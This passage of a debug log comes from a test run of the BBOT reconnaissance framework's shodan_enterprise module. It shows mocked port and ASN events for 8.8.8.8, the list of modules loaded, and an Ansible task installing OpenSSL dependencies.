tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,155 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,156 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,156 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,157 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,157 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,157 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,158 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:40:04,158 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,159 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,159 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,160 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,160 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:40:04,160 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,161 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,161 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:40:04,162 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:40:04,244 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:40:04,245 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:40:04,246 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:40:04,247 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,247 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:40:04,248 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,248 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:40:04,248 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:40:04,249 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:40:04,251 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:40:04,252 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:40:04,252 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:40:04,253 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:40:04,253 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:40:04,254 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:40:04,254 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:40:04,354 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:40:04,355 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:40:04,373 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:40:04,374 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:40:04,374 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:40:04,381 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:40:04,382 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:40:04,382 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:40:04,383 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:40:04,384 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:40:04,385 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:40:04,501 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_cq36fyddhw completed in 0 seconds with status FINISHED -2026-03-01 16:40:04,502 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:40:04,503 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:40:04,504 [CRITICAL] bbot test_module_shodan_enterprise.py:57 Found 1 ASN events -2026-03-01 16:40:04,504 [HUGEINFO] bbot test_module_shodan_enterprise.py:63 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-03-01 16:41:43,145 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:41:43,156 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:41:43,157 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:41:43,158 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:41:43,159 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:41:43,160 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:41:43,161 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:41:43,162 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:41:43,163 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:41:43,163 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:41:43,164 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:41:43,165 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:41:43,166 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:41:43,167 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:41:43,167 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:41:43,168 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:41:43,169 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:41:43,170 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:41:43,171 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:41:43,172 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:41:43,173 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:41:43,174 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:41:43,174 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:41:43,175 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:41:43,176 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:41:43,176 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:41:43,177 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:41:43,178 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:41:43,179 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:41:43,179 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:41:43,180 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:41:43,180 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:41:43,182 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:41:43,182 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:41:43,183 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:41:43,184 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:41:43,185 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:41:43,186 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:41:43,187 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:41:43,188 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:41:43,191 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:41:43,191 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:41:43,193 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:41:43,193 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:41:43,194 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:41:43,195 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:41:43,196 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:41:43,197 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:41:43,197 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:41:43,198 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:41:43,198 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:41:43,200 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:41:43,201 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:41:43,201 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:41:43,202 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:41:43,202 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:41:43,203 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:41:43,204 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:41:43,204 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:41:43,205 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:41:43,206 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:41:43,206 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:41:43,207 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:41:43,208 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:41:43,208 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:41:43,209 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:41:43,213 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:41:43,214 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:41:43,214 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:41:43,215 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:41:43,216 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:41:43,217 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:41:43,217 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:41:43,218 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:41:43,219 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:41:43,220 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:41:43,220 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:41:43,221 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:41:43,222 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:41:43,223 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:41:43,223 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:41:43,224 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:41:43,224 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:41:43,225 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:41:43,226 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:41:43,226 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:41:43,227 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:41:43,227 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:41:43,228 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:41:43,229 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:41:43,229 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:41:43,230 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:41:43,235 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:41:43,236 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:41:43,237 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:41:43,238 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:41:43,239 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:41:43,240 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:41:43,240 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:41:43,241 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:41:43,242 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:41:43,242 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:41:43,243 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:41:43,244 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:41:43,245 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:41:43,246 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:41:43,246 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:41:43,247 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:41:43,248 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:41:43,248 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:41:43,249 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:41:43,249 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:41:43,250 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:41:43,250 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:41:43,251 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:41:43,251 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:41:43,252 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:41:43,253 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:41:43,253 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:41:43,255 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:41:43,255 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:41:43,256 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:41:43,257 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:41:43,257 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:41:43,258 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:41:43,258 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:41:43,259 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:41:43,260 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:41:43,260 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:41:43,261 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:41:43,261 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:41:43,262 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:41:43,262 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:41:43,263 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:41:43,264 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:41:43,264 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:41:43,265 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:41:43,265 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:41:43,266 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:41:43,266 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:41:43,267 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:41:43,268 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:41:43,268 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:41:43,269 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:41:43,269 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:41:43,270 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:41:43,271 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:41:43,271 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:41:43,272 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:41:43,273 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:41:43,273 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:41:43,274 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:41:43,274 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:41:43,275 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:41:43,276 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:41:43,276 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:41:43,277 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:41:43,278 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:41:43,278 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:41:43,279 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:41:43,279 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:41:43,280 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:41:43,280 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:41:43,281 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:41:43,281 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:41:43,282 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:41:43,283 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:41:43,283 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:41:43,284 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:41:43,285 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:41:44,387 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:41:44,387 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:41:44,388 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:41:44,525 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:41:45,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:41:45,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:41:45,113 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:41:45,113 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:41:45,327 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:41:45,328 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:41:45,438 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:41:45,438 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:41:45,493 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:41:45,496 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:41:45,497 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:41:45,940 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:41:45,941 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:41:48,323 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:41:48,323 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:41:48,323 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:41:50,157 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:41:50,158 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:41:50,163 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:41:50,163 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:41:50,163 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:41:50,164 